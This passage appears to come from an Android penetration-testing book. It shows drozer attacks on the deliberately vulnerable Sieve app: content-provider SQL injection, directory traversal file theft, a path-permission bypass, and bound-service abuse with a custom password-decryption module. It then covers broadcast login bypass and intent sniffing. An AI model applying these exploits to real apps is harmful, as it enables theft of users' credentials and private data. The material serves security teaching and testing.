Content Provider: com.android.deskclock.provider.ClockProvider
Multiprocess Allowed: False
Grant Uri Permissions: False
Confirming this in the application manifest reveals that this content provider is explicitly not exported.
<provider name=".provider.ClockProvider"
exported="false"
authorities="com.android.deskclock">
Attempting to query this content provider from drozer results in an error saying that it is not exported.
dz> run app.provider.query content://com.android.deskclock/alarms/
Permission Denial: opening provider com.android.deskclock.provider.Clock
Provider from ProcessRecord{b2084228 1741:com.mwr.dz:remote/u0a64}
(pid=1741, uid=10064) that is not exported from uid 10020
However, querying the same content provider from a root ADB shell is successful.
root@generic:/ # content query --uri content://com.android.deskclock/ala
rms/
Row: 0 _id=1, hour=8, minutes=30, daysofweek=31, enabled=0, vibrate=0, l
abel=, ringtone=NULL, delete_after_use=0
Row: 1 _id=2, hour=9, minutes=0, daysofweek=96, enabled=0, vibrate=0, la
bel=, ringtone=NULL, delete_after_use=0
The attack vector in this case may be limited but it may be interesting to know.
A commonly implemented technique with content providers is to connect them directly with an SQLite database. This makes sense because the structures and methods used on content providers—with methods like insert, update, delete, and query (which may be akin to select statements)—feel very similar to SQL’s. If you are familiar with finding vulnerabilities in web applications, you may immediately know what is coming. If input into a content provider that is backed by an SQLite database is not sanitized or white-listed appropriately, then it may be vulnerable to SQL injection—injecting arbitrary SQL commands in a variable that is used inside a SQL statement. In the following code, examine the arguments of a query method on a content provider:
final Cursor query(
Uri uri,
String[] projection,
String selection,
String[] selectionArgs,
String sortOrder);
The uri
is the full path of the content URI being queried. The following format is expected of a content URI:
content://authority/path.
The rest of the parameters can be better explained by using them inside a SQL query:
select projection from table_name(uri) where selection=selectionArgs ord
er by sortOrder
This means that the following arguments in the query method may result in the following SQL query:
final Cursor query(
Uri.parse("content://settings/system"),
null,
null,
null,
null);
Query: select * from system
Attempting a SQL injection attack in the projection
parameter looks as follows:
final Cursor query(
Uri.parse("content://settings/system"),
new String[] {"* from sqlite_master--"},
null,
null,
null);
Query: select * from sqlite_master--* from system
The dash characters appended to the projection ensure that the rest of the query is commented out and a valid query is still formed by this injection. Now try to find whether a SQL injection exists in the /Passwords
path in the DBContentProvider
of Sieve. First look to determine whether an injection point exists in the projection
parameter.
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProv
ider/Passwords --projection "'"
unrecognized token: "' FROM Passwords" (code 1): , while compiling: SELE
CT ' FROM Passwords
Injecting a single quote into the projection
causes an error in the structure of the query that SQLite received. You can now use this injection point to find all the tables available in the same SQLite database by using a projection
of * from sqlite_master where type='table'--
. This is shown in the following code snippet:
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProv
ider/Passwords --projection "* from sqlite_master where type='table'--"
| type | name | tbl_name | rootpage | sql |
| table | android_metadata | android_metadata | 3 | CREATE TABLE
android_metadata (locale TEXT) |
| table | Passwords | Passwords | 4 | CREATE TABLE
Passwords (_id INTEGER PRIMARY KEY,service TEXT,username TEXT,password
BLOB,email ) |
| table | Key | Key | 5 | CREATE TABLE
Key (Password TEXT PRIMARY KEY,pin TEXT )
Any one of the available tables can now be queried. Remember the /Keys
path that required a permission in order to read? The associated “Key” table can now be extracted using the injection point:
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProv
ider/Passwords --projection "* from Key--"
| Password | pin |
| Thisismylongpassword123 | 1234 |
This shows a complete compromise of the password manager’s master password and pin used to protect the data. This is an old web vulnerability that now can exist in Android applications implementing content providers.
You can automate the detection of SQL injection vulnerabilities using drozer in conjunction with the scanner.provider.injection
module.
dz> run scanner.provider.injection -a content://com.mwr.example.sieve.DB
ContentProvider/Passwords
...
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Passwords
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Passwords
You can also automatically find the available tables to query in drozer.
dz> run scanner.provider.sqltables -a content://com.mwr.example.sieve.DB
ContentProvider/Passwords
Accessible tables for uri content://com.mwr.example.sieve.DBContentProvi
der/Passwords:
android_metadata
Passwords
Key
Implementing a content provider that allows other applications to retrieve files in a structured and secure way is possible. However, the mechanisms for doing so can be prone to vulnerabilities that allow the retrieval of arbitrary files under the UID of the content provider’s application. You can programmatically create these content providers by implementing a public ParcelFileDescriptor openFile(Uri, String)
method. If the URI being requested is not strictly validated against a whitelist of allowed files or folders, this opens up the application to attack. An easy way to check whether a content provider allows the retrieval of any file is by requesting the /system/etc/hosts
file, which always exists and is word readable on Android devices. The following example shows how to exploit one such content provider in Sieve to retrieve /system/etc/hosts
:
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProv
ider/system/etc/hosts
127.0.0.1 localhost
This example shows that you are not restricted to only querying intended files and can request any file on the filesystem that Sieve has access to. Depending on the application, different files may be deemed good targets. In the case of the Sieve application, the most important file it can access is its database that holds all the passwords and application configuration. This is located in the private data directory of the application in the /databases/
folder.
root@android:/ # ls /data/data/com.mwr.example.sieve/databases/
database.db
database.db-journal
Next you can attempt to read this file from drozer, which should not be able to access it at all:
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProv
ider/data/data/com.mwr.example.sieve/databases/database.db > database.db
This exploit works and the file is transferred from the content provider to your local computer using this vulnerability. Dumping the contents of this database reveals all of its data, including the master password and pin. To verify this, use the sqlite3
tool to view the contents:
$ sqlite3 database.db .dump
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE android_metadata (locale TEXT);
INSERT INTO "android_metadata" VALUES('en_US');
CREATE TABLE Passwords (_id INTEGER PRIMARY KEY,service TEXT,username TE
XT,password BLOB,email );
INSERT INTO "Passwords" VALUES(1,'Gmail','tyrone',X'CC0EFA591F665110CD34
4C384D48A2755291B8A2C46A683987CE13','tyrone@gmail.com');
INSERT INTO "Passwords" VALUES(2,'Internet Banking','tyrone123',X'5492FB
CE841D11EC9E610076FC302B94DBF71B59BE7E95821248374C5529514B62','tyrone@gm
ail.com');
CREATE TABLE Key (Password TEXT PRIMARY KEY,pin TEXT );
INSERT INTO "Key" VALUES('Thisismylongpassword123','1234');
COMMIT;
If the URI path provided to the openFile()
function had been prepended with a static path in code that confined it to the /data/data/com.mwr.example.sieve/
directory, how would you retrieve this file? Our intention in this code is to restrict file reads to a certain directory only. In this case it may be possible to traverse out of the given directory and access any file if the code does not properly perform proper input validation. If a prepended path existed on the FileBackupProvider
, you could use a directory traversal attack as follows to still retrieve database.db
:
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProv
ider/../../../../data/data/com.mwr.example.sieve/databases/database.db >
database.db
The appropriate amount of traverses would have to be determined by trial and error or by examining the source code of the content provider.
A scanner module in drozer allows you to detect directory traversal attacks against file-backed content providers as shown here:
dz> run scanner.provider.traversal -a content://com.mwr.example.sieve.Fi
leBackupProvider
...
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider
In all aspects of computer security, logic flaws can exist. Rewinding back to where we discovered information about the Sieve content providers, have a look again at the type of comparison being used to define a permission on the /Keys
path:
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
The comparison is done using a literal check. You can find the original form of this check that drozer parsed out in the following snippet of Sieve’s manifest:
<provider name=".DBContentProvider"
exported="true"
multiprocess="true"
authorities="com.mwr.example.sieve.DBContentProvider">
<path-permission readPermission="com.mwr.example.sieve.READ_KEYS"
writePermission="com.mwr.example.sieve.WRITE_KEYS"
path="/Keys">
</path-permission>
</provider>
On the <path-permission>
tag, the path
attribute was used. The definition of the path attribute is as follows from http://developer.android.com/guide/topics/manifest/path-permission-element.html
:
A complete URI path for a subset of content provider data. Permission can be granted only to the particular data identified by this path...
The key word in this definition is particular. This means that only the /Keys
path is being protected by this permission. What about the /Keys/
path? Querying the /Keys
path you get a permission denial:
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProv
ider/Keys
Permission Denial: reading com.mwr.example.sieve.DBContentProvider uri
content://com.mwr.example.sieve.DBContentProvider/Keys from pid=1409,
uid=10059 requires com.mwr.example.sieve.READ_KEYS, or
grantUriPermission()
But when you query the /Keys/
path you get the following:
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProv
ider/Keys/
| Password | pin |
| Thisismylongpassword123 | 1234 |
This specific path including the appended slash was not protected by that permission. This is because a literal comparison was used when there were other valid forms that reached the same data. Many other different types of pattern-matching flaws could exist in an application that the reader would have to assess on a case-by-case basis; however, this serves as an easy introduction to this vulnerability class on Android.
Services are often used to run code inside an application that is important to keep running, even when the application is not in the foreground. This scenario may apply to many applications or simply be used by a developer for good application lifecycle management. Services can be started in a similar way to activities, with an intent. These types of services can perform long-running tasks in the background. However, a second mode of operation, which allows an application to bind to the service and pass messages to and from them over the sandbox, also exists. This section explores attacking both of these types of services.
If a service is exported, either explicitly or implicitly, other applications on the device can interact with it. Started services are ones that implement the onStartCommand()
method inside its class. This method receives intents destined for this service from applications and may be a source of vulnerabilities for an attacker. This is completely dependent on what the code does inside this function. The code may perform an unsafe task even just by being started or may use parameters that are sent and when certain conditions take place, perform an unexpected action. This may seem like high-level information but it is because simply too many types of problems exist that code could exhibit to mention here. The only way you can ferret out such problems is by reading the code to understand what it is doing and find whether the potential exists to abuse it in some way. To interact with started services use the app.service.start
module in drozer.
In a similar way to other application components, you can start and stop services from a privileged context even when they are not exported. You can do this by making use of the startservice
and stopservice
features of the am
utility.
Bound services provide a mechanism for applications on a device to interconnect directly with each other using remote procedure calls (RPCs). Bound services implement the onBind()
method inside their service class. This method must return an IBinder
, which is part of the remote procedure call mechanism. An application can implement a bound service in three ways, only two of which the application can use over the sandbox. These are as follows:
Binder
class—By returning an instance of the service class in the onBind
method, it provides the caller with access to public methods within the class. However, this is not possible across the sandbox and can only be bound to by other parts of the same application’s code that is running in the same process.IBinder
of a Messenger
class that has implemented a handler, the applications can send messages between each other. These messages are defined by the Message
class. As part of a Message
object, a “message code,” which is defined as the what
variable, is specified and compared against predefined values in the class’s handler code to perform different actions according to this value. Sending arbitrary objects inside the Message
object that can be used by the receiving code is also possible. However, there is no direct interaction with methods when using this technique..aidl
files in the source code folder that contains information that defines an interface and during compilation time generates a Binder
interface from these files. This essentially converts the human-friendly .aidl
files into a Java class that can be invoked from code. Applications that have bound to a service of this nature with the correct Binder
class generated from the same AIDL can make use of the remote methods available. Entire objects of custom classes can be sent using this method, as long as both the client and service have the code of this class available and the class implements the Parcelable
protocol. You can explore this deeply technical method further in its documentation at http://developer.android.com/guide/components/aidl.html
. In our experience, very few application developers attempt to make use of AIDL, simply because it is difficult to use and often not necessary. For the large majority of cases, using a messenger instead of AIDL is easier and provides all that is needed to communicate across applications.You can find the official documentation on bound services at http://developer .android.com/guide/components/bound-services.html
.
The attack surface of each service depends on what is being exposed by the technique in use. The easiest starting point for examining bound services making use of messengers is reading the handleMessage()
method in the service code. This tells you what kinds of messages are expected and how the application executes different functions accordingly. After you discover an attack path, you can investigate and interact with it from drozer using the app.service.send
module. The Sieve application contains two exposed services that both implement messengers. We discovered this by first finding these services and then reading their classes and checking which one of the explained techniques was applied.
dz> run app.service.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.AuthService
Permission: null
com.mwr.example.sieve.CryptoService
Permission: null
Looking at the AuthService
source code reveals that it deals with the checking of passwords and PIN codes entered by the application. The following shows some important constants defined and a commented high-level view of the source code of the handleMessage()
function:
...
static final int MSG_CHECK = 2354;
static final int MSG_FIRST_LAUNCH = 4;
static final int MSG_SET = 6345;
...
public void handleMessage(Message r9_Message) {
...
Bundle r0_Bundle = (Bundle) r9_Message.obj;
...
switch (r9_Message.what) {
case MSG_FIRST_LAUNCH:
...
//Check if pin and password are set
...
case MSG_CHECK:
...
if (r9_Message.arg1 == 7452) {
...
//Return pin
//Requires password from bundle
...
}
} else if (r9_Message.arg1 == 9234) {
...
//Returns password
//Requires pin from bundle
...
}
} else {
sendUnrecognisedMessage();
return;
}
...
case MSG_SET:
if (r9_Message.arg1 == 7452) {
...
//Set password
//Requires current password from bundle
...
} else if (r9_Message.arg1 == 9234) {
...
//Set pin
//Requires current pin from bundle
...
}
} else {
sendUnrecognisedMessage();
return;
}
...
}
...
}
Earlier in this chapter we noted that the Sieve application encrypts each of the passwords in its database. Further investigation of the code used to encrypt these passwords would reveal that the master key for the application is used as direct input to the key for the AES algorithm that is used. If no other vulnerability exists in Sieve that allows the retrieval of the password or pin, the AuthService
could still be abused for this information—in particular, the code path that allows another application to retrieve the password if the pin is provided. The following shows this attack in drozer:
dz> run app.service.send com.mwr.example.sieve com.mwr.example.sieve
.AuthService --msg 2354 9234 1 --extra string com.mwr.example.sieve
.PIN 1234 --bundle-as-obj
Got a reply from com.mwr.example.sieve/com.mwr.example.sieve
.AuthService:
what: 5
arg1: 41
arg2: 0
Extras
com.mwr.example.sieve.PASSWORD (String) : Thisismylongpassword123
The password was successfully retrieved. If an attacking application did not know the PIN code, it could comfortably brute-force this value because it is only four characters long. This attack could be performed manually or in an automated fashion by an application. Sending an incorrect pin of 7777 yields the following response, which only reflects the entered pin:
dz> run app.service.send com.mwr.example.sieve com.mwr.example.sieve
.AuthService --msg 2354 9234 1 --extra string com.mwr.example.sieve
.PIN 7777 --bundle-as-obj
Got a reply from com.mwr.example.sieve/com.mwr.example.sieve
.AuthService:
what: 5
arg1: 41
arg2: 1
Extras
com.mwr.example.sieve.PIN (String) : 7777
The differences in responses to a valid PIN and an invalid PIN make it possible for an automated brute-forcer to know when it stumbles upon the correct PIN. The CryptoService
service exposed by Sieve takes input and uses the provided key to encrypt or decrypt the data. Here is a view of the code that handles this:
...
public static final String KEY = "com.mwr.example.sieve.KEY";
public static final int MSG_DECRYPT = 13476;
public static final int MSG_ENCRYPT = 3452;
public static final String PASSWORD = "com.mwr.example.sieve.PASSWORD";
public static final String RESULT = "com.mwr.example.sieve.RESULT";
public static final String STRING = "com.mwr.example.sieve.STRING";
...
public void handleMessage(Message r7_Message) {
...
Bundle r0_Bundle = (Bundle) r7_Message.obj;
switch (r7_Message.what) {
case MSG_ENCRYPT:
r0_Bundle.putByteArray(RESULT,
CryptoService.this.encrypt(
r0_Bundle.getString(KEY),
r0_Bundle.getString(STRING)));
...
case MSG_DECRYPT:
r0_Bundle.putString(RESULT,
CryptoService.this.decrypt(
r0_Bundle.getString(KEY),
r0_Bundle.getByteArray(PASSWORD)));
...
}
...
}
}
To encrypt a string using this service, the what
parameter should be 3452
and the com.mwr.example.sieve.KEY
and com.mwr.example.sieve.STRING
values should be part of the bundle sent. Use drozer to test an encryption operation as follows:
dz> run app.service.send com.mwr.example.sieve com.mwr.example.sieve
.CryptoService --msg 3452 2 3 --extra string com.mwr.example.sieve
.KEY testpassword --extra string com.mwr.example.sieve.STRING "string to
be encrypted" --bundle-as-obj
Got a reply from com.mwr.example.sieve/com.mwr.example.sieve
.CryptoService:
what: 9
arg1: 91
arg2: 2
Extras
com.mwr.example.sieve.RESULT (byte[]) : [89, 95, -78, 115, -23,
-50, -34, -30, -107, -1, -41, -35, 0, 7, 94, -77, -73, 90, -6, 79,
-60, 122, -12, 25, -118, 62, -3, -112, -94, 34, -41, 14, -126, -101,
-48, -99, -55, 10]
com.mwr.example.sieve.STRING (String) : string to be encrypted
com.mwr.example.sieve.KEY (String) : testpassword
A byte array is returned with the ciphertext. Interacting with this service’s decryption functionality is tricky because the code expects a byte array containing the encrypted password (as com.mwr.example.sieve.PASSWORD
). The sending of byte arrays is not directly supported from drozer’s app.service.send
module; you have to create your own module to do the job. Here is an example module to do this:
import base64
from drozer import android
from drozer.modules import common, Module
class Decrypt(Module, common.ServiceBinding):
name = "Decrypt Sieve passwords"
description = "Decrypt a given password with the provided key"
examples = ""
author = "MWR InfoSecurity (@mwrlabs)"
date = "2014-07-22"
license = "BSD (3 clause)"
path = ["exploit", "sieve", "crypto"]
permissions = ["com.mwr.dz.permissions.GET_CONTEXT"]
def add_arguments(self, parser):
parser.add_argument("key", help="AES key")
parser.add_argument("base64_ciphertext", help=
"the base64 ciphertext string to be decrypted")
def execute(self, arguments):
# Create a bundle with the required user input
bundle = self.new("android.os.Bundle")
bundle.putString("com.mwr.example.sieve.KEY", arguments.key)
bundle.putByteArray("com.mwr.example.sieve.PASSWORD",
self.arg(base64.b64decode(arguments.base64_ciphertext),
obj_type="data"))
# Define service endpoint and parameters
binding = self.getBinding("com.mwr.example.sieve",
"com.mwr.example.sieve.CryptoService")
binding.setBundle(bundle)
binding.setObjFormat("bundleAsObj")
# Send message and receive reply
msg = (13476, 1, 1)
if binding.send_message(msg, 5000):
self.stdout.write("%s\n" % binding.getData())
else:
self.stderr.write("An error occured\n")
The user’s encrypted Gmail password retrieved from exploiting the content provider earlier was zA76WR9mURDNNEw4TUiidVKRuKLEamg5h84T
. Testing this module with this value and the master password yields the following result:
dz> run exploit.sieve.crypto.decrypt Thisismylongpassword123 zA76WR9mURD
NNEw4TUiidVKRuKLEamg5h84T
Extras
com.mwr.example.sieve.PASSWORD (byte[]) : [-52, 14, -6, 89, 31, 102,
81, 16, -51, 52, 76, 56, 77, 72, -94, 117, 82, -111, -72, -94,
-60, 106, 104, 57, -121, -50, 19]
com.mwr.example.sieve.RESULT (String) : password123
com.mwr.example.sieve.KEY (String) : Thisismylongpassword123
The user’s Gmail password is shown in the com.mwr.example.sieve.RESULT
value as password123.
When using bound services, you may, depending on a multitude of factors, have to write custom code. Each developer implements small things differently, like how the Bundle
is retrieved from the Message
object. The default way in which drozer expects that an application will receive its Bundle
is by using the getData()
method on the Message
object. However, some developers may use a different way to do this. For instance, Sieve casts the obj
attribute of the Message
object directly to a Bundle
. This means that if the correct method is not used when sending the message to the bound service, it will result in strange errors such as null pointer exceptions.
Sieve uses the following code to receive its Bundle
:
Bundle r0_Bundle = (Bundle) r9_Message.obj;
This means that when using the app.service.send
module, you need to use the --bundle-as-obj
flag.
Services that make use of AIDL are some of the most cumbersome aspects to test on Android applications because the client that connects to the service needs to be custom written each time. The tester must generate a class that implements the Binder
interface by using its AIDL file. To convert this file from a .aidl
file into a .java
file you use the aidl
binary that comes in the build-tools
folder in the Android SDK:
$ ./aidl /path/to/service.aidl
After compiling this to a Java source file, you can import it into a custom application for testing or class-loaded inside drozer. Class-loading is easy inside drozer; here is a simple example module (classloading.py
):
from drozer.modules import common, Module
from drozer.modules.common import loader
class Classloading(Module, loader.ClassLoader):
name = "Classloading example"
description = "Classloading example"
examples = ""
author = ["Tyrone (MAHH)"]
date = "2014-07-29"
license = "BSD (3 clause)"
path = ["app", "test"]
def add_arguments(self, parser):
parser.add_argument("name", default=None, help="your name")
def execute(self, arguments):
# Class load the new class - this will be automatically compiled
classloadtest = self.loadClass("app/ClassLoadTest.apk",
"ClassLoadTest")
# Create an instance of our class with name as argument
clt = self.new(classloadtest, arguments.name)
# Invoke Java function!
print clt.sayHello()
The class that was loaded in the previous code is written in Java and named ClassLoadTest.java
. It is very basic and allows you to instantiate it with a name and contains a method that returns a friendly message containing the name. This is shown here:
public class ClassLoadTest
{
String name;
public ClassLoadTest(String n)
{
this.name = n;
}
public String sayHello()
{
return "Hi " + this.name + "!";
}
}
By placing the Java file in the relative location specified in the self.loadClass()
function, it will automatically get compiled and converted into an APK for use inside drozer. Running this new module in drozer is simple:
dz> run app.test.classloading Tyrone
Hi Tyrone!
In our experience, the use of AIDL implementations in applications is extremely rare. Thus, we do not explore the issue further. You can find more information about interacting with AIDL services in the Google documentation at http://developer.android.com/guide/components/aidl.html
.
Broadcast receivers have a variety of peculiarities and have functionality that one would not expect. Every day broadcast receivers could be used to provide a notification of some event or potentially pass some piece of information to multiple applications at the same time. This section explores all the attack avenues that end in reaching a broadcast receiver in some way.
In the same way as all the other application components, broadcast receivers can specify a permission that the caller must hold in order to interact with it. If an application makes use of a custom broadcast receiver and does not specify a permission that the caller needs to hold, the application is exposing this component to abuse by other applications on the device. To find the broadcast receivers in an application, examine the manifest or the app.broadcast.info
module in drozer:
dz> run app.broadcast.info -a com.android.browser
Package: com.android.browser
com.android.browser.widget.BookmarkThumbnailWidgetProvider
Permission: null
com.android.browser.OpenDownloadReceiver
Permission: null
com.android.browser.AccountsChangedReceiver
Permission: null
com.android.browser.PreloadRequestReceiver
Permission: com.android.browser.permission.PRELOAD
Applications can make use of the sendBroadcast()
method and send broadcasts whose impact is determined completely by what code is run in the onReceive()
method of the broadcast receivers that receive the sent intent. This applies in exactly the same way for broadcast receivers that have been registered at runtime using the registerReceiver()
method. To discover broadcast receivers that have been registered at runtime you must search through the code of the application; drozer will not find them using the app .broadcast.info
module.
A subtle difference exists in the way that the sending of broadcasts works in comparison to other application components. Broadcasts were intended to reach one or more recipients, unlike the sending of intents to other components which only ends up at a single recipient. This lead to the design decision that any application can broadcast an intent (as long as it’s not a predefined protected intent) and it is up to the broadcast receiver to specify what permission the source application must hold in order for the broadcast receiver to acknowledge this intent as valid. This also works the same in the other direction. When broadcasting an intent, you can specify that only applications that hold a certain permission can receive the intent.
Interestingly, an application’s broadcast receiver has no way of determining which application sent an intent to it. The information could be inferred in various ways; for instance, if making use of a permission with a protection level of signature
it can be presumed that only another trusted application could have sent it. However, even this security feature is flawed under certain circumstances because of the Protection Level Downgrade Attack explained earlier in this chapter.
The following fictitious example demonstrates an application with a vulnerable broadcast receiver. You have to use some imagination here because Sieve does not contain any broadcast receivers. The application does the following:
com.myapp.CORRECT_CREDS
.A broadcast receiver with the following intent filter catches this intent:
<receiver android:name=".LoginReceiver"
android:exported="true">
<intent-filter>
<action android:name="com.myapp.CORRECT_CREDS" />
</intent-filter>
</receiver>
com .myapp.CORRECT_CREDS
), it starts an activity with authenticated content for the user.What is wrong with the preceding scenario? The problem is that the whole login activity process can be bypassed by an attacker that broadcasts an intent with an action of com.myapp.CORRECT_CREDS
. This can be done in the following way in drozer:
dz> run app.broadcast.send --action com.myapp.CORRECT_CREDS
Now consider the scenario where the manifest declaration was updated by the developer and the broadcast receiver is no longer exported, which may look as follows:
<receiver android:name=".LoginReceiver"
android:exported="false">
</receiver>
As with other application components, a privileged user can broadcast an intent to a component even if this application component is not exported in its manifest declaration. This means that an attacker making use of a privileged shell would be able to broadcast an intent and gain access to this application as an authenticated user. This could be done using:
root@android:/ # am broadcast -a com.myapp.CORRECT_CREDS -n com.myapp/
.LoginReceiver
Intent sniffing is when a broadcast receiver can register to receive broadcasts that may have been intended for other applications. This is possible because some applications broadcast intents and do not define a required permission that a broadcast receiver must hold in order to receive the intent or do not provide a destination package for the intent.
You can review the source code of an application in search of intents being sent using the sendBroadcast()
method and then register a receiver that catches this information from a non-privileged application. You can catch these intents in drozer using the app.broadcast.sniff
module. In some cases, the information being broadcasted may not be sensitive. An example of this is an intent frequently broadcasted on Android systems with an action of android.intent .action.BATTERY_CHANGED
. This intent simply gives information about the state of the battery. Catching this intent in drozer looks like this:
dz> run app.broadcast.sniff --action android.intent.action
.BATTERY_CHANGED
[*] Broadcast receiver registered to sniff matching intents
[*] Output is updated once a second. Press Control+C to exit.
Action: android.intent.action.BATTERY_CHANGED
Raw: Intent { act=android.intent.action.BATTERY_CHANGED flg=0x60000010
(has extras) }
Extra: icon-small=17303125 (java.lang.Integer)
Extra: scale=100 (java.lang.Integer)
Extra: present=true (java.lang.Boolean)
Extra: technology=Li-ion (java.lang.String)
Extra: level=53 (java.lang.Integer)
Extra: voltage=4084 (java.lang.Integer)
Extra: status=2 (java.lang.Integer)
Extra: invalid_charger=0 (java.lang.Integer)
Extra: plugged=2 (java.lang.Integer)
Extra: health=2 (java.lang.Integer)
Extra: temperature=301 (java.lang.Integer)
Now tweak our fictitious example once more and say that the developer used a broadcast with an action of com.myapp.USER_LOGIN
to relay the user’s typed-in credentials from the login screen to a broadcast receiver that launched authenticated activities. To emulate the sending of this broadcast, we are going to use am
. The following am
command represents the sending of this broadcast from the login activity in our fictitious application and contains the username and pin code for the application:
$ adb shell am broadcast -a com.myapp.USER_LOGIN --ez ALLOW_LOGIN true
--es USERNAME tyrone --es PIN 2342
Broadcasting: Intent { act=com.myapp.USER_LOGIN (has extras) }
Broadcast completed: result=0
Unbeknownst to the application developer, this broadcast can actually be received by any application that has registered a broadcast receiver with an intent filter for the com.myapp.USER_LOGIN
action. Let’s emulate an unprivileged application and catch this intent using drozer:
dz> run app.broadcast.sniff --action com.myapp.USER_LOGIN
[*] Broadcast receiver registered to sniff matching intents
[*] Output is updated once a second. Press Control+C to exit.
Action: com.myapp.USER_LOGIN
Raw: Intent { act=com.myapp.USER_LOGIN flg=0x10 (has extras) }
Extra: PIN=2342 (java.lang.String)
Extra: ALLOW_LOGIN=true (java.lang.Boolean)
Extra: USERNAME=tyrone (java.lang.String)
The drozer module received this intent. The first tool that demonstrated the sniffing of intents from broadcasts was created by Jesse Burns of iSEC Partners. You can find it at https://www.isecpartners.com/tools/mobile-security/intent-sniffer.aspx
. It employs some nifty techniques to gain coverage of as many intents as possible and works well when you need to test for intent sniffing vulnerabilities on all applications on a device at once.
Secret codes are sequences of numbers that can be typed into the Android dialer and caught by an application’s broadcast receiver with the appropriate intent filter. Intent filters that can be used to catch these events must have an action of android.provider.Telephony.SECRET_CODE
, a data scheme of android_secret_code
, and the data host attribute as the number that is dialed.
On a stock Android 4.4 emulator, you can find the following defined secret codes:
dz> run scanner.misc.secretcodes
Package: com.android.providers.calendar
225
Package: com.android.netspeed
77333
Package: com.android.settings
4636
Package: com.android.protips
8477
Package: com.android.email
36245
Taking a closer look at broadcast receivers in the com.android.settings
package reveals the following:
dz> run app.broadcast.info -a com.android.settings -i
Package: com.android.settings
...
com.android.settings.TestingSettingsBroadcastReceiver
Intent Filter:
Actions:
- android.provider.Telephony.SECRET_CODE
Data:
- android_secret_code://4636:** (type: *)
Permission: null
...
Notice that the receiver named TestingSettingsBroadcastReceiver
in the preceding output has an intent filter with an action android.provider.Telephony .SECRET_CODE
and the data attribute that starts with a scheme of android_secret_code
. This means that the broadcast generated by typing *#*#4636#*#*
in the dialer reaches the following code in the TestingSettingsBroadcastReceiver
class:
public class TestingSettingsBroadcastReceiver extends BroadcastReceiver
{
public void onReceive(Context paramContext, Intent paramIntent)
{
if (paramIntent.getAction().equals(
"android.provider.Telephony.SECRET_CODE"))
{
Intent localIntent = new Intent("android.intent.action.MAIN");
localIntent.setClass(paramContext, TestingSettings.class);
localIntent.setFlags(268435456);
paramContext.startActivity(localIntent);
}
}
}
At this point, the broadcast receiver could have chosen to run any code. In this particular instance, all that it is doing is starting an activity. Figure 7.11 shows the activity that was started from this secret code.
On many physical Android devices you will find many secret codes defined that expose all kinds of debugging functionality or code that is used in the factory for device testing. To compare the output generated by drozer to the actual manifest declaration, the latter is shown here:
<receiver name="TestingSettingsBroadcastReceiver">
<intent-filter>
<action name="android.provider.Telephony.SECRET_CODE">
</action>
<data scheme="android_secret_code"
host="4636">
</data>
</intent-filter>
</receiver>
Implementing a secret code in your application that performs an action directly when the secret code is invoked is dangerous because invoking these codes from other applications is possible. One of the best attack vectors discovered is being able to invoke secret codes from the web browser. The discovery was that it was possible on some devices to invoke secret codes using the tel
handler in a web page. An example of this attack is shown in the following real-world example.
Applications that hold sensitive information are often of keen interest to an attacker. Gaining access to files stored by applications or sometimes their logging information could reveal all kinds of jewels that may be useful to an attacker.
As discussed extensively in Chapter 6, Android at its core is Linux. The “sandbox” provided for the segregation of application data is largely based on file and folder ownership and permissions. Exploring the filesystem of a device from an unprivileged application (like drozer) reveals that any installed application has fair visibility of files and folders on the filesystem. Gathering basic information about the system it is running on and installed packages is possible from purely looking at files on the filesystem.
To help you gain a better understanding of how applications can expose their files and folders through file ownership and permissions, this section presents a few examples. Chapter 6 touched on this topic briefly, but more thorough information is presented here.
Each file and folder belongs to an owner and a group. For example, take a look at a file that was explained in Chapter 6, which resides at /data/system/packages.list
:
root@android:/data/system # ls -l packages.list
-rw-rw---- system package_info 6317 2014-05-30 11:40 packages.list
The owner of this file is the system
user and the group that it belongs to is package_info
. You can change the owner and group of this file using a tool named chown
as the root user.
shell@android:/$ chown
Usage: chown <USER>[:GROUP] <FILE1> [FILE2] ...
The permissions of a file can be tricky to understand at first, but are logical after you get the hang of them. Let us look at an example of a newly created file:
u0_a259@android:/data/data/com.mwr.dz $ ls -l
-rwxrwxrwx u0_a259 u0_a259 4 2014-10-19 21:47 test
Each permission section of the output of the ls -l
command has 10 characters:
d
) or a symbolic link (indicated by l
). A dash indicates that it is a regular file and other special flags are not explored.packages .list
, these three characters show that the user system
can read this file and write to it.Protecting a file or folder on the filesystem requires careful setting of these values. Setting the permissions incorrectly could inadvertently expose a file or folder. You can set permissions using a tool named chmod
. This tool accepts various formats but the most rudimentary format that you can provide for a file’s permissions is comprised of three decimal numbers. Each decimal number represents the permissions for the file (or folder’s) user, group, and other. This decimal value is calculated by adding the following values for each attribute:
This means that you could set the packages.list
file permissions given in the preceding example by using the following command:
root@android:/data/system # chmod 660 packages.list
Different versions of Android assign different default file permissions to new files and folders written to disk by an application. These file permissions depend on the umask of the system. The umask is a mask that is boolean ANDed with file permissions 777 to get a default value; for example, if the umask is set to 0077 and this is boolean ANDed with 0777, then the default value is 0700.
From Android 4.0 and higher, the following line in com.android.internal .os.ZygoteInit
ensures that applications have a default umask of 0077:
// set umask to 0077 so new files and directories will default to
owner-only permissions.
FileUtils.setUMask(FileUtils.S_IRWXG | FileUtils.S_IRWXO);
You can perform a simple test using the drozer shell to confirm this setting. The following was performed on an Android 4.4 emulator:
u0_a59@generic:/data/data/com.mwr.dz $ echo test > test
u0_a59@generic:/data/data/com.mwr.dz $ ls -l test
-rw------- u0_a59 u0_a59 5 2014-05-31 06:13 test
